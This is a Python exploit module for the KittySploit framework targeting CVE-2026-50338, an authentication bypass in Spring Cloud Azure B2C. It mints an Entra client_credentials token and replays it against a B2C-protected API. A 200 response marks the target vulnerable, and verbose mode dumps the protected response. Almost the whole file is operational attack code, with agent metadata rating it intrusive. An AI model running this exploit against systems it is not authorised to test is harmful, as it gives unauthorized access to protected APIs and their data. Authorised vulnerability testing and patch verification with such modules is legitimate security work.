Spring Cloud Azure B2C Cross-Issuer Auth Bypass (CVE-2026-50338)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import json
from typing import Any, Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.oauth.entra_token import EntraTokenMixin


class Module(Exploit, Http_client, EntraTokenMixin):
    __info__ = {
        "name": "Spring Cloud Azure B2C Cross-Issuer Auth Bypass (CVE-2026-50338)",
        "description": "Mint an Entra client_credentials token and call a B2C-protected API (CVE-2026-50338)",
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-50338"],
        "references": [
            "https://github.com/Azure/azure-sdk-for-java/pull/49252",
            "https://github.com/Azure/azure-sdk-for-java/pull/49033",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "tags": ["web", "spring", "azure", "b2c", "entra", "oauth", "auth-bypass", "java"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "auth_bypass"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": True,
            "produces": ["auth_bypass", "risk_signals"],
            "cost": 1.2,
            "noise": 0.4,
            "value": 1.1,
            "requires": {"capabilities_any": [], "capabilities_all": []},
            "chain": {
                "consumes_capabilities": [],
                "produces_capabilities": [{"capability": "auth_bypass", "from_detail": "b2c_cross_issuer"}],
            },
        },
    }

    tenant_id = OptString("", "Entra tenant ID", True)
    client_id = OptString("", "Client ID", True)
    client_secret = OptString("", "Client secret", True)
    victim_api = OptString("", "Victim API client ID or URI", False)
    scope = OptString("", "OAuth scope (default: api://<victim_api>/.default)", False)
    use_msal = OptBool(False, "Use MSAL for token acquisition", False)
    http_method = OptChoice("GET", "HTTP method", False, choices=["GET", "POST", "PUT"])
    verbose = OptBool(False, "Verbose JWT/response output", False)

    def _resolve_scope(self) -> str:
        try:
            return self.entra_resolve_scope(
                scope=str(self.scope or ""),
                victim_api=str(self.victim_api or ""),
            )
        except ValueError as exc:
            raise ProcedureError(FailureType.ConfigurationError, str(exc)) from exc

    def _baseline_request(self) -> Optional[Any]:
        resp = self.http_request(
            method=str(self.http_method or "GET"),
            path=str(self.path or "/"),
            allow_redirects=False,
        )
        if not resp:
            print_error("Target unreachable")
            return None
        print_info(f"  HTTP {resp.status_code}")
        if resp.status_code != 401:
            print_warning(
                f"Expected 401 Unauthorized, got {resp.status_code} — target may not enforce auth"
            )
        return resp

    def _mint_aad_token(self, scope: str) -> Optional[str]:
        token, claims, err = self.entra_acquire_aad_line_token(
            tenant_id=str(self.tenant_id).strip(),
            client_id=str(self.client_id).strip(),
            client_secret=str(self.client_secret).strip(),
            scope=scope,
            use_msal=bool(self.use_msal),
            timeout=int(self.timeout or 10),
        )
        if not token:
            message = err.get("error_description") or err.get("error") or err
            print_error(f"Token acquisition failed: {message}")
            if claims and "b2clogin.com" in str(claims.get("iss", "")).lower():
                print_info("Received B2C issuer — use an Entra app in the same tenant")
            return None

        print_info(f"  iss: {claims.get('iss', '?')}")
        print_info(f"  aud: {claims.get('aud', '?')}")
        print_info(f"  tid: {claims.get('tid', '?')}")
        if self.verbose:
            print_info(json.dumps(claims, indent=2, ensure_ascii=False))

        return token

    def _authenticated_request(self, token: str) -> Optional[Any]:
        resp = self.http_request(
            method=str(self.http_method or "GET"),
            path=str(self.path or "/"),
            headers={"Authorization": f"Bearer {token}"},
            allow_redirects=False,
        )
        if not resp:
            print_error("Authenticated request failed")
            return None
        print_info(f"  HTTP {resp.status_code}")
        return resp

    def run(self):
        scope = self._resolve_scope()
        baseline = self._baseline_request()
        if baseline is None:
            return False

        token = self._mint_aad_token(scope)
        if not token:
            return False

        resp = self._authenticated_request(token)
        if resp is None:
            return False

        if resp.status_code == 200:
            print_success("Vulnerable — B2C API accepted AAD token")
            if self.verbose:
                try:
                    print_info(json.dumps(resp.json(), indent=2, ensure_ascii=False))
                except Exception:
                    print_info((resp.text or "")[:500])
            self.set_info(severity="critical", vulnerable=True, cve="CVE-2026-50338")
            return True

        if resp.status_code == 401:
            print_status("Not vulnerable — AAD token rejected")
            if self.verbose:
                print_info((resp.text or "")[:300])
            return False

        print_warning(f"Unexpected status {resp.status_code}")
        print_info((resp.text or "")[:300])
        return False